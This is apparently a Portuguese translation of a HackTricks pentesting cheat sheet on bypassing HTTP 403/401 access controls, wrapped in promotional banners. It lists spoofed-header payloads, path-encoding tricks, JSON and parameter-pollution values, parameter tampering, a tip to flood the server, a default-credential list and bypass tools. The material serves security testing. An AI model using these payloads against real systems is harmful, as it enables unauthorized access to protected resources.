9.3 KiB
Bypasses de 403 e 401
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para HackTricks e HackTricks Cloud github repos.
Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
Fuzzing de Verbos/Métodos HTTP
Tente usar diferentes verbos para acessar o arquivo: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
- Verifique os cabeçalhos de resposta, talvez algumas informações possam ser fornecidas. Por exemplo, uma resposta 200 para HEAD com
Content-Length: 55
significa que o verbo HEAD pode acessar as informações. Mas você ainda precisa encontrar uma maneira de extrair essas informações. - Usar um cabeçalho HTTP como
X-HTTP-Method-Override: PUT
pode sobrescrever o verbo usado. - Use o verbo
TRACE
e, se tiver muita sorte, talvez na resposta você possa ver também os cabeçalhos adicionados por proxies intermediários que podem ser úteis.
Fuzzing de Cabeçalhos HTTP
-
Alterar o cabeçalho Host para um valor arbitrário (que funcionou aqui)
-
Tente usar outros Agentes de Usuário para acessar o recurso.
-
Fuzz de Cabeçalhos HTTP: Tente usar Cabeçalhos de Proxy HTTP, Autenticação HTTP Básica e força bruta NTLM (com apenas algumas combinações) e outras técnicas. Para fazer tudo isso, criei a ferramenta fuzzhttpbypass.
-
X-Originating-IP: 127.0.0.1
-
X-Forwarded-For: 127.0.0.1
-
X-Forwarded: 127.0.0.1
-
Forwarded-For: 127.0.0.1
-
X-Remote-IP: 127.0.0.1
-
X-Remote-Addr: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
X-Original-URL: 127.0.0.1
-
Client-IP: 127.0.0.1
-
True-Client-IP: 127.0.0.1
-
Cluster-Client-IP: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
Host: localhost
Se o caminho estiver protegido, você pode tentar ignorar a proteção do caminho usando esses outros cabeçalhos:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
- Se a página estiver atrás de um proxy, talvez seja o proxy que esteja impedindo você de acessar as informações privadas. Tente abusar do HTTP Request Smuggling ou cabeçalhos hop-by-hop.
- Fuzz de cabeçalhos HTTP especiais procurando por respostas diferentes.
- Fuzz de cabeçalhos HTTP especiais enquanto faz o fuzzing de Métodos HTTP.
- Remova o cabeçalho Host e talvez consiga ignorar a proteção.
Fuzzing de Caminho
Se /caminho estiver bloqueado:
- Tente usar /%2e/caminho _(se o acesso estiver bloqueado por um proxy, isso pode ignorar a proteção). Tente também_** /%252e**/caminho (codificação de URL dupla)
- Tente ignorar Unicode: /%ef%bc%8fcaminho (Os caracteres codificados em URL são como "/") então, quando codificados de volta, será //caminho e talvez você já tenha ignorado a verificação de nome /caminho
- Outras formas de ignorar o caminho:
- site.com/secreto –> HTTP 403 Proibido
- site.com/SECRETO –> HTTP 200 OK
- site.com/secreto/ –> HTTP 200 OK
- site.com/secreto/. –> HTTP 200 OK
- site.com//secreto// –> HTTP 200 OK
- site.com/./secreto/.. –> HTTP 200 OK
- site.com/;/secreto –> HTTP 200 OK
- site.com/.;/secreto –> HTTP 200 OK
- site.com//;//secreto –> HTTP 200 OK
- site.com/secreto.json –> HTTP 200 OK (ruby)
- Use toda esta lista nas seguintes situações:
- /FUZZsecreto
- /FUZZ/secreto
- /secretoFUZZ
- Outras formas de ignorar APIs:
- /v3/dados_usuários/1234 --> 403 Proibido
- /v1/dados_usuários/1234 --> 200 OK
- {“id”:111} --> 401 Não autorizado
- {“id”:[111]} --> 200 OK
- {“id”:111} --> 401 Não autorizado
- {“id”:{“id”:111}} --> 200 OK
- {"id_usuário":"<id_legítimo>","id_usuário":"<id_vítima>"} (Poluição de Parâmetros JSON)
- id_usuário=ID_DO_ATACANTE&id_usuário=ID_DA_VÍTIMA (Poluição de Parâmetros)
Manipulação de Parâmetros
- Alterar o valor do parâmetro: De
id=123
-->id=124
- Adicionar parâmetros adicionais à URL:
?
id=124
—->id=124&isAdmin=true
- Remover os parâmetros
- Reordenar os parâmetros
- Usar caracteres especiais.
- Realizar testes de limite nos parâmetros - fornecer valores como -234 ou 0 ou 99999999 (apenas alguns valores de exemplo).
Versão do Protocolo
Se estiver usando HTTP/1.1 tente usar 1.0 ou até mesmo testar se suporta 2.0.
Outras Formas de Bypass
- Obter o IP ou CNAME do domínio e tentar contatá-lo diretamente.
- Tente sobrecarregar o servidor enviando solicitações GET comuns (Funcionou para esse cara com o Facebook).
- Alterar o protocolo: de http para https, ou de https para http
- Acesse https://archive.org/web/ e verifique se no passado esse arquivo estava acessível mundialmente.
Força Bruta
- Adivinhar a senha: Teste as seguintes credenciais comuns. Você sabe algo sobre a vítima? Ou o nome do desafio CTF?
- Força bruta: Tente autenticação básica, digest e NTLM.
{% code title="Credenciais Comuns" %}
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
{% endcode %}
Ferramentas Automáticas
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- Extensão Burp - 403 Bypasser
- Forbidden Buster
Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.